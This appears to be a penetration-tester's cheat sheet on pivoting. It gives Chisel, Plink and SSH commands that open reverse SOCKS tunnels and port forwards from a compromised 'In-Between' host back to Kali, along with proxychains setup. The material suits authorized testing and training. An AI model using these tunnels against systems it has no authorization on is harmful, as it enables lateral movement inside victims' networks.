Pivoting

• Tunnelling = encapsulating a protocol within a protocol
• Port Redirection = redirect traffic destined for one IP address and port to another IP address and port

If you need a server after your In-Between to connect back to Kali, just forward a port to Kali with chisel, like this: Pentester's Promiscuous Notebook Pivoting

Windows

• Remote Command Execution

• Chisel

  1. On Kali: sudo ./chisel_1.7.7_linux_386 server -p 443 --socks5 --reverse -v
  2. On In-Between: .\chisel_1.7.7_windows_386.exe client -v {LHOST}:443 R:socks
  3. On Kali: proxychains {YOUR_COMMAND_HERE}
  • Reference: https://trojand.com/cheatsheet/Network/Connections/SSH_Tunneling.html#chisel

• Plink
  1. File Transfer Techniques plink.exe to the In-between
  2. On In-between: cmd.exe /c echo y | plink.exe -ssh -l kali -pw {YOUR_PASSWORD} -R {LHOST}:1234:127.0.0.1:{PORT_YOU_WANT_TO_ATTACK} {LHOST}
  3. On Kali: sudo nmap -sS -sV 127.0.0.1 -p 1234

Linux

• SSH Dynamic Port Forwarding

  • On Kali: sudo ssh -N -D 127.0.0.1:1080 {COMPROMISED_USER}@{IP}
  • On Kali: proxychains {YOUR_COMMAND_HERE}

• Chisel

  1. On Kali: sudo ./chisel_1.7.7_linux_386 server -p 443 --socks5 --reverse -v
  2. On In-Between: ./chisel_1.7.7_linux_386 client -v {LHOST}:443 R:socks
  3. On Kali: proxychains {YOUR_COMMAND_HERE}
  • Reference: https://trojand.com/cheatsheet/Network/Connections/SSH_Tunneling.html#chisel

Setup on Kali

ProxyChains

• sudo vim /etc/proxychains.conf

FoxyProxy

Setup

Add and Activate Patterns

Burp Suite

Relevant Note(s): Penetration Testing